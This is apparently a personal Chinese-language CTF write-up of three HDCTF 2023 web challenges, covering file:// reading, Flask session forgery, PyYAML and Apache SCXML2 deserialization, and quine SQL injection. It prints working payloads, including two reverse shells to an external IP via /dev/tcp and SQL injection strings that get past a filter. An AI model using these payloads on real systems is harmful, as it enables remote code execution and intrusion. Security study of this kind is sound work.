这里的话是只记录自己不会的知识点
[HDCTF 2023]YamiYami
这是一个考点,考查的是yaml 的python反序列化
可以看看这篇文章来了解一下YAML
Python反序列化漏洞分析
这里的话就是一共有三种python反序列化类型
pickle YAML Marshal
题目
这里的话有三个选项可以进去进行查看,然后点进Read something会发现他的url是可以进行文件读取的
于是进行尝试,这里的话直接读文件的是读取不了的,得需要用file
伪协议来进行读取
成功进行读取
但是这里不知道flag名称,所以不能进行读取,但是能可以尝试读取一下环境变量
那么这就是非预期解了
payload
1 http://node2.anna.nssctf.cn:28523/read?url=file:///../../../../../proc/1/environ
这里/proc/1/environ
的意思就是进程为1的环境变量
/proc/x/envrion
这就是查看任意进程的环境变量的方法
查看进程 ps aux
a:显示当前终端下的所有进程信息,包括其他用户的进程。
u:使用以用户为主的格式输出进程信息。
x:显示当前用户在所有终端下的进程。
预期解
查看pwd发现当前目录是/app
,于是尝试用刚才的方法进行/app/app.py
源码的读取,因为直接url/app.py
的话是读取不到的
正常读取的时候发现有正则过滤,于是查了一下
[正则表达式 re.findall 用法]
那么这里的话不成功是因为,这里匹配到url里的app.*
,然后以app.*的数组形式返回,然后导致查不到结果,于是我们可以使用双重url编码绕过
双重url绕过后成功读取到了源码
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 import osimport re, random, uuidfrom flask import *from werkzeug.utils import *import yamlfrom urllib.request import urlopenapp = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str (random.random()*233 ) app.debug = False BLACK_LIST=["yaml" ,"YAML" ,"YML" ,"yml" ,"yamiyami" ] app.config['UPLOAD_FOLDER' ]="/app/uploads" @app.route('/' ) def index (): session['passport' ] = 'YamiYami' return ''' Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a> <br> Here is the challenge <a href="/upload">Upload file</a> <br> Enjoy it <a href="/pwd">pwd</a> ''' @app.route('/pwd' ) def pwd (): return str (pwdpath) @app.route('/read' ) def read (): try : url = request.args.get('url' ) m = re.findall('app.*' , url, re.IGNORECASE) n = re.findall('flag' , url, re.IGNORECASE) if m: return "re.findall('app.*', url, re.IGNORECASE)" if n: return "re.findall('flag', url, re.IGNORECASE)" res = urlopen(url) return res.read() except Exception as ex: print (str (ex)) return 'no response' def allowed_file (filename ): for blackstr in BLACK_LIST: if blackstr in filename: return False return True @app.route('/upload' , methods=['GET' , 'POST' ] ) def upload_file (): if request.method == 'POST' : if 'file' not in request.files: flash('No file part' ) return redirect(request.url) file = request.files['file' ] if file.filename == '' : return "Empty file" if file and allowed_file(file.filename): filename = secure_filename(file.filename) if not os.path.exists('./uploads/' ): os.makedirs('./uploads/' ) file.save(os.path.join(app.config['UPLOAD_FOLDER' ], filename)) return "upload successfully!" return render_template("index.html" ) @app.route('/boogipop' ) def load (): if session.get("passport" )=="Welcome To HDCTF2023" : LoadedFile=request.args.get("file" ) if not os.path.exists(LoadedFile): return "file not exists" with open (LoadedFile) as f: yaml.full_load(f) f.close() return "van you see" else : return "No Auth bro" if __name__=='__main__' : pwdpath = os.popen("pwd" ).read() app.run( debug=False , host="0.0.0.0" ) print (app.config['SECRET_KEY' ])
需要做的事情就2件,伪造Cookie,Yaml反序列化,那么Cookie怎么拿呢?key的种子是由uuid.getnode()
生成的,网上检索一波
1 在 python 中使用 uuid 模块生成 UUID(通用唯一识别码)。可以使用 uuid.getnode() 方法来获取计算机的硬件地址,这个地址将作为 UUID 的一部分。
因为审计源码发现,在上传完yaml反序列化的payload后,进入boogipop的这个路由得需要seesion
的值为Welcome To HDCTF2023
这里就是考查的是利用uuid 来进行session伪造
种子是通过random.seed(uuid.getnode())
生成的。而uuid.getnode()又是将MAC地址转换为10进制。那么我们通过程序中的任意文件读取来获取网卡地址。不就能得到种子了 读取/proc/net/dev可以知道服务器上的网卡。接着/sys/class/net/eth0/address可以知道MAC地址
然后进行进制转化
1 2 02:42:ac:02:45:95 2485376927125
然后获取密钥来进行session伪造
1 2 3 4 import randomrandom.seed(int (52234918416 )) SECRET_KEY = str (random.random() * 233 ) print (SECRET_KEY)
然后拿着密钥去进行session伪造
session伪造工具
然后根据源码进行修改passport为Welcome To HDCTF2023
1 {'passport': 'Welcome To HDCTF2023'}
然后进行编码
伪造成功
1 eyJwYXNzcG9ydCI6IldlbGNvbWUgVG8gSERDVEYyMDIzIn0.ZETpRg.LJFqsGZPtbnl8N6Ngul7lMTWXgU
然后先进行paylaod的文件上传
1 2 3 4 5 6 7 8 9 !!python/object /new:str args: [] state: !!python/tuple - "__import__('os').system('bash -c \"bash -i >& /dev/tcp/101.42.39.110/6666 <&1\"')" - !!python/object /new:staticmethod args: [] state: update: !!python/name:eval items: !!python/name:list
关于yaml反序列化的payload
还有很多详细的解释都在里面
然后就能成功弹到shell了
总结
file://伪协议读取源码
/proc/1/environ 环境变量读取
正则表达式 re.findall 用法 两次url编码绕过
uuid进行session伪造
YAML反序列化
[HDCTF 2023]LoginMaster(quine注入) 考点
这里的话先去了解一下unique注入是啥东西
详解Laravel 5.8 SQL注入漏洞(unique注入)
漏洞详情
该漏洞存在于Laravel的表单验证功能,漏洞函数为ignore(),漏洞文件位于/vendor/laravel/ramework/src/Illuminate/Validation/Rules/Unique.php。有时候开发者希望在进行字段唯一性验证时忽略指定字段以及字段值,通常会调用Rule类的ignore方法。该方法有两个参数,第一个参数为字段值,第二个参数为字段名,当字段名为空时,默认字段名为“id”。如果用户可以控制ignore()方法的参数值,就会产生SQL注入漏洞。
这里的话就扫一下目录发现存在robots.txt文件,然后进行读取,发现存在waf文件
1 2 3 4 5 6 7 8 9 10 function checkSql ($s ) { if (preg_match ("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i" ,$s )){ alertMes ('hacker' , 'index.php' ); } } if ($row ['password' ] === $password ) { die ($FLAG ); } else { alertMes ("wrong password" ,'index.php' );
然后把这段代码到google一搜索,就能找到原题了(打了这么多比赛 ,等赛后看wp复现的时候才发现原原来好多东西都是可以搜出来,只是自己搜的不过准确 )
果然 搜索也是一门学问
CTFHub_2021-第五空间智能安全大赛-Web-yet_another_mysql_injection(quine注入)
这就是原题的题目,这道题就属于是照搬下来的
payload1
1 1 '/**/union/**/select/**/replace(replace(' 1 "/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"union select replace(replace(".",char (34 ),char (39 )),char (46 ),".")#')#
payload2
1 1 'UNION(SELECT(REPLACE(REPLACE(' 1 "UNION(SELECT(REPLACE(REPLACE("% ",CHAR(34),CHAR(39)),CHAR(37),"% ")))#',CHAR(34),CHAR(39)),CHAR(37),'1"UNION (SELECT (REPLACE(REPLACE("%",CHAR (34 ),CHAR (39 )),CHAR (37 ),"%")))#')))#
其实就是看谁做过这题或则是记得拿着题目给的waf去搜,然后发现原题
然后就直接拿着原题给的wp直接打就行了
BabyJXvX 考点 Apache SCXML2 RCE
Apache SCXML2 RCE分析
这里我们自己来跟一遍这个逻辑,来学习一下
这里真的服了,没有文章来进行学习咋样安装环境,直接去maven找的话是找不到的,只能通过报错信息一个一个jar包下载下来
这里我用的jdk是8
就是得自己百度先下载两个jar包,然后maven下载一个新的jar包
然后在存在xml文件的目录开启一个python服务就可以开始分析这个漏洞了
demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package org.example;import org.apache.commons.scxml2.SCXMLExecutor;import org.apache.commons.scxml2.io.SCXMLReader;import org.apache.commons.scxml2.model.ModelException;import org.apache.commons.scxml2.model.SCXML;import javax.xml.stream.XMLStreamException;import java.io.IOException;public class POC { public static void main (String[] args) throws ModelException, XMLStreamException, IOException { SCXMLExecutor executor = new SCXMLExecutor (); SCXML scxml = SCXMLReader.read("http://127.0.0.1:8000/1.xml" ); executor.setStateMachine(scxml); executor.go(); } }
xml文件
1 2 3 4 5 6 7 8 9 10 <?xml version="1.0" ?> <scxml xmlns ="http://www.w3.org/2005/07/scxml" version ="1.0" initial ="run" > <state id ="run" > <onentry > <script > '' .getClass ().forName ('java.lang.Runtime' ).getRuntime ().exec ('calc' )</script > </onentry > </state > </scxml >
部署完后看是否能弹计算器,弹不出的话就是说明环境没配置成功
然后就开始跟一下这个,看漏洞利用点在哪
开始分析
先给断点
先跟到了read方法这里
进入read方法,又调用了另一个参数不同的read,在这里传入我们xml的path,并且初始化了一个Configuration
将XML的路径和配置类都传入readInternal方法里,跟进
然后初始化了一个URLresovler去读取XML,这边咱们的http服务就会接收到对应的请求,最后进入readDocument方法进行下一步读取
前面的实例化对象就没截屏,只截的是关键部分
获取xml的namespace和localname,最后进入readSCXML方法中进行更深次的读取
,这里就是重点了
进入readSCXML后,然后接着进入readstate
这里会获取几个标签,可以看到包括我们payload里的state标签,由于最外层是state,因此进入readstate方法
第二层标签是onentry,所以进入了readOnEntry方法
进入readExecutableContext方法,接下来也是重点
第三层是script,所以读取script标签
跟进readscript
太菜了,跟不下去了,还是去看上面的复现文章吧,那样好一点
payload
1 2 3 4 5 6 7 8 <?xml version="1.0" ?> <scxml xmlns ="http://www.w3.org/2005/07/scxml" version ="1.0" initial ="run" > <final id ="run" > <onexit > <assign location ="flag" expr ="''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDIuMzkuMTEwLzY2NiAwPiYx}|{base64,-d}|{bash,-i}')" /> </onexit > </final > </scxml >
做法
这里先是在自己的服务器上新建一个文件 ,然后开启端口监听就行了
详细wp
根据当时情况一步一步的分析出来的
[HDCTF 2023]JavaMonster] 考点